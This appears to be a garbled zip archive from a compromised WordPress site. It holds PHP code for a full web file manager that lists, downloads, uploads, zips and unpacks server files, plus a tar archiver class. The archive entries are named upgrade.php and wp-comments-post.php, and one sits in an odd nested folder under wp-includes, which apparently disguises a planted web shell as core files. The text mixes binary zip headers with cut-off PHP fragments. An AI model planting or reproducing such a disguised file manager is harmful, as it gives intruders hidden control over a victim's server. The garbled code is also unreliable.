(is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'chromed
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PK!yr‡66upgrade.php.tarnu„[µü¤home/www/johntvrz.com/wp-includes/SimplePie/lib/MQAFs/sim/upgrade.php000064400000227407152636574270021544 0ustar00>>>>>>>>>>>>>>>>>>>>>>>>>>>>>. <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PK!m³;SaSaupgrade.php.php.tar.gznu„[µü¤PK!ê�÷ÂÚ£Ú£™awp-comments-post.php.php.tar.gznu„[µü¤PK!ÙÞÉñØØÂwp-comments-post.php.tarnu„[µü¤PK!<¶h //  Þupgrade.phpnu„[µü¤PK!f¦6 Ñ ÑL wp-comments-post.phpnu„[µü¤PK!yr‡660ßupgrade.php.tarnu„[µü¤PKûo